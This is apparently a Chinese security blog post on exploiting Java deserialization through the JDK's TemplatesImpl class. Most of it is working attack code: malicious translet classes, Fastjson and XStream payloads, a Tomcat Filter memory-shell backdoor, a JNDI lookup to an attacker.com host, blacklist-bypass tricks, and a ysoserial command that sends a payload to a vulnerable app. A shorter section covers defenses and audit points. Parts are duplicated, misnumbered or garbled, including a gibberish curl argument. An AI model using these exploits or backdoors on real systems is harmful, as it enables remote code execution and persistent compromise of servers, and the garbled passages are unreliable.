个人公众号：从生活到技术上的安全

一、核心原理

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是 JDK 内置的 XSLT 处理器类，其defineTransletClasses()方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象，触发恶意类加载和执行。

核心方法调用链：

1 2 3 4

TemplatesImpl.newTransformer()   → getTransletInstance()     → defineTransletClasses()       → ClassLoader.defineClass() // 加载恶意字节码

二、基础利用案例

1. 手动构造攻击链

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

// 生成恶意字节码（示例弹出计算器） public class EvilTemplate extends AbstractTranslet {     static {         try {             Runtime.getRuntime().exec("calc.exe");         } catch (Exception e) { /* 异常处理 */ }     }       @Override     public void transform(DOM document, SerializationHandler[] handlers) {}     @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }   // 编译并获取字节码 byte[] evilCode = Files.readAllBytes(Paths.get("EvilTemplate.class"));

2. 反射注入字节码

1 2 3 4 5 6 7 8 9

TemplatesImpl templates = TemplatesImpl.newInstance();   // 使用反射设置关键字段 setField(templates, "_bytecodes", new byte[][]{evilCode}); setField(templates, "_name", "Exploit"); setField(templates, "_tfactory", new TransformerFactoryImpl());   // 触发类加载 templates.newTransformer();

反射工具方法：

1 2 3 4 5

void setField(Object obj, String fieldName, Object value) throws Exception {     Field field = obj.getClass().getDeclaredField(fieldName);     field.setAccessible(true);     field.set(obj, value); }

三、绕过技巧

1. JDK 高版本适配（JDK 8u71+）

绕过 JDK 高版本限制

• 问题：JDK 8u71+ 修复了AnnotationInvocationHandler的漏洞入口，传统 CC 链失效。
• 解决方案：
  • 使用TemplatesImpl直接加载字节码：通过构造_bytecodes字段的恶意类，直接触发defineTransletClasses，无需依赖其他链式调用。
  • 结合 BCEL 编码：通过 BCEL（Apache Commons BCEL）将恶意类编码为字符串形式，避免直接使用.class文件触发检测。

1 2 3 4 5 6 7

// 通过 BCEL 加载绕过类名检查 String bcelCode = "$$BCEL$$..."; // 生成的 BCEL 字节码 byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);   // 构造特殊类名绕过黑名单 setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); setField(templates, "_bytecodes", new byte[][]{bytecode});

2. 绕过 Fastjson 私有属性限制

• 关键参数：Feature.SupportNonPublicField

1	JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);

• 默认情况下，Fastjson 无法反序列化私有属性（如_bytecodes）。通过添加该参数，可强制反序列化私有字段：
• 绕过_tfactory空指针：
  设置_tfactory为空对象{}，Fastjson 会调用其无参构造函数生成默认的TransformerFactoryImpl实例，避免因空指针导致流程终止。

四. 内存马注入

1. Tomcat Filter 型内存马

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

public class MemShell extends AbstractTranslet { static {     WebappClassLoaderBase classLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();     StandardContext context = (StandardContext) classLoader.getResources().getContext();     // 注入 Filter 配置     FilterDef filterDef = new FilterDef();     filterDef.setFilterName("evilFilter");     filterDef.setFilterClass(this.getClass().getName());     context.addFilterDef(filterDef);     // 添加 URL 映射     FilterMap filterMap = new FilterMap();     filterMap.setFilterName("evilFilter");     filterMap.addURLPattern("/*");     context.addFilterMap(filterMap); }

• 实现逻辑：
  在恶意类的静态代码块中，通过反射向当前 Tomcat 上下文注入自定义 Filter，实现持久化后门。

}
```

1. Spring Controller 型内存马
   • 利用 Spring 动态注册机制：
     通过反射修改RequestMappingHandlerMapping，注册恶意 Controller，拦截特定路径请求。

四、防御对抗艺术

1. 反序列化防护

白名单校验：使用ValidatingObjectInputStream限制反序列化的类：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

// 安全的反序列化实现 public class SafeObjectInputStream extends ObjectInputStream {     private static final Set<String> ALLOWED_CLASSES =         Set.of("java.lang.String", "java.util.HashMap");       public SafeObjectInputStream(InputStream in) throws IOException {         super(in);     }       @Override     protected Class<?> resolveClass(ObjectStreamClass desc)         throws IOException, ClassNotFoundException {         if (!ALLOWED_CLASSES.contains(desc.getName())) {             throw new InvalidClassException("Unauthorized class: ", desc.getName());         }         return super.resolveClass(desc);     } }

2. RASP 防护（运行时检测）

• 监控defineClass调用：通过 Java Agent 拦截ClassLoader.defineClass，检测非法字节码加载行为。
  • Hook 关键方法：监控TemplatesImpl.newTransformer()和getTransletInstance()的调用栈。

1 2 3 4 5 6 7 8 9 10 11 12

// 使用 Java Agent 检测 defineClass public class ClassDefineMonitor {     public static void premain(String args, Instrumentation inst) {         inst.addTransformer((loader, className, classBeingRedefined,             protectionDomain, classfileBuffer) -> {             if (className.contains("Evil")) {                 throw new SecurityException("Detected malicious class: " + className);             }             return classfileBuffer;         }, true);     } }

六、混合利用技巧

1. 结合 JNDI 注入

当目标环境存在 JNDI 注入漏洞（如 Log4j2）时，通过TemplatesImpl触发远程类加载，绕过本地字节码检测，直接加载远程恶意类

1 2 3 4 5 6 7 8 9 10 11 12 13 14

// 生成包含 JNDI 触发的字节码 public class JNDILoader extends AbstractTranslet {     static {         try {             new InitialContext().lookup("ldap://attacker.com/Exploit");         } catch (NamingException e) { /* 异常处理 */ }     } }   // 构造嵌套攻击链 Transformer[] chain = new Transformer[]{     new ConstantTransformer(templates),     new InvokerTransformer("newTransformer", null, null) };

2. 结合 Fastjson 漏洞

1 2 3 4 5 6 7 8

// Fastjson 反序列化载荷 {   "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",   "_bytecodes": ["BASE64_ENCODED_BYTECODE"],   "_name": "Exploit",   "_tfactory": {},   "_outputProperties": {} }

3. Fastjson + TemplatesImpl + Groovy 链

• 利用 Groovy 的MethodClosure：
  通过 Groovy 闭包触发命令执行，结合TemplatesImpl加载恶意字节码，形成多链组合攻击：

1 2 3 4

Transformer[] groovyChain = new Transformer[]{     new ConstantTransformer(new MethodClosure("calc", "execute")),     new InvokerTransformer("call", null, null) };

七、实战检测命令

1. 字节码生成工具
   • Javassist/ASM：动态构造符合AbstractTranslet规范的恶意类。
   • Ysoserial 扩展：自定义 Gadget 链生成TemplatesImpl专用 Payload。
2. 漏洞检测脚本
   • 基于堆内存分析：通过jmap和jhat分析内存中的恶意类实例。
   • 流量特征检测：监控 Fastjson 请求中是否包含_bytecodes和@type关键字。

1 2 3 4 5 6 7 8 9

# 使用 ysoserial 生成 TemplatesImpl payload java -jar ysoserial.jar Jdk7u21 "curl ac4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4@1N6r3q4U0K9$3g2J5i4K6u0W2j5$3!0E0" > payload.bin   # 发送到测试服务 curl -X POST --data-binary @payload.bin http://vuln-app/deserialize   # 内存马检测命令 jmap -dump:live,format=b,file=heapdump.bin <pid> jhat heapdump.bin # 分析堆中的恶意 Filter

关键审计点与防御建议

代码审计关注点：

1 2 3 4 5 6 7 8

// 危险模式 ObjectInputStream.readObject() XMLDecoder.readObject() JSON.parseObject(input, Feature.SupportNonPublicField)   // 敏感调用 ClassLoader.defineClass() TemplatesImpl.newTransformer()

防御策略：

1. 升级至 JDK 8u191+（限制defineClass的使用）
2. 使用SerialKiller等安全反序列化库
3. 开启 SecurityManager 并配置严格策略
4. 监控defineClass和newTransformer的调用

总结与演进方向

• 演进趋势：从单一链式利用向多漏洞链组合发展（如 JNDI + TemplatesImpl）。
• 防御重点：强化字节码加载监控、禁用非必要反射操作、严格校验反序列化输入。
• 工具推荐：
  • 检测：CodeQL 定制规则分析defineClass调用路径。
  • 防护：OpenRASP 或 Contrast Security 实现运行时保护。

TemplatesImpl 的高级利用技巧

一、利用TemplatesImpl结合 JNDI 注入进阶版

虽然TemplatesImpl本身不依赖 JNDI，但可以通过组合漏洞链实现更复杂的攻击。例如，利用TemplatesImpl加载的恶意类触发 JNDI 远程类加载：

代码案例

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

public class JNDILoader extends AbstractTranslet {     static {         try {             new InitialContext().lookup("ldap://attacker.com/Exploit");         } catch (NamingException e) {             e.printStackTrace();         }     }       @Override     public void transform(DOM document, SerializationHandler[] handlers) {}     @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }   // 生成字节码并注入到 TemplatesImpl 中 TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilCode}); setField(templates, "_name", "JNDILoader"); setField(templates, "_tfactory", new TransformerFactoryImpl());   // 结合 Fastjson 触发 String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +                 "\"_bytecodes\":[\"" + base64EncodedCode + "\"]," +                 "\"_outputProperties\":{}}"; JSON.parseObject(payload, Feature.SupportNonPublicField);

技巧：通过TemplatesImpl加载的类触发 JNDI 查询，绕过直接依赖反序列化链的限制。

二、利用 BCEL 字节码绕过类名检测

某些环境下对TemplatesImpl的类名黑名单有过滤，可通过 BCEL 格式的字节码绕过类名校验：

代码案例

1 2 3 4 5 6 7

// 生成 BCEL 格式字节码 String bcelCode = "$$BCEL$$..."; byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);   // 设置特殊类名绕过黑名单 setField(templates, "_name", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); setField(templates, "_bytecodes", new byte[][]{bytecode});

技巧：BCEL 编码的字节码可在某些场景下绕过类名检查，结合TemplatesImpl的加载机制实现绕过。

三、结合动态代理绕过方法调用限制

利用动态代理触发TemplatesImpl的newTransformer方法，绕过直接调用检测：

代码案例

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

InvocationHandler handler = (proxy, method, args) -> {     if (method.getName().equals("getOutputProperties")) {         return templates.newTransformer();     }     return null; };   Map proxyMap = (Map) Proxy.newProxyInstance(     Map.class.getClassLoader(),     new Class[]{Map.class},     handler );   // 通过代理对象触发 proxyMap.get("outputProperties");

技巧：通过动态代理间接调用getOutputProperties，避免直接触发敏感方法。

四、绕过 JDK 高版本限制（JDK 8u191+）

在 JDK 8u191+ 中，TemplatesImpl的类加载可能受限制，可通过以下方式绕过：

代码案例

1 2 3 4 5 6 7 8 9

// 使用 Unsafe 类强制修改访问权限 Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null);   // 直接修改 TemplatesImpl 的 _class 字段 Field _classField = TemplatesImpl.class.getDeclaredField("_class"); long offset = unsafe.objectFieldOffset(_classField); unsafe.putObject(templates, offset, new Class[]{EvilClass.class});

技巧：通过底层内存操作绕过访问控制，强制加载恶意类。

五、结合其他反序列化框架（如 XStream）

在 XStream 中利用TemplatesImpl加载恶意类：

代码案例

1 2 3 4 5 6 7 8 9 10 11 12 13 14

<map>   <entry>     <string>@type</string>     <string>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</string>   </entry>   <entry>     <string>_bytecodes</string>     <string>BASE64_ENCODED_BYTECODE</string>   </entry>   <entry>     <string>_outputProperties</string>     <map/>   </entry> </map>

技巧：通过构造 XML Payload 触发 XStream 的反序列化漏洞，结合TemplatesImpl执行命令。

总结与防御建议

1. 检测关键方法调用：监控defineClass和newTransformer的调用行为。
2. 黑名单增强：扩展对TemplatesImpl及其相关类的黑名单检测。
3. 运行时防护（RASP）：通过字节码插桩拦截恶意类加载行为。
4. 升级依赖库：使用 Fastjson 1.2.83+ 并启用safeMode，或迁移至 Jackson。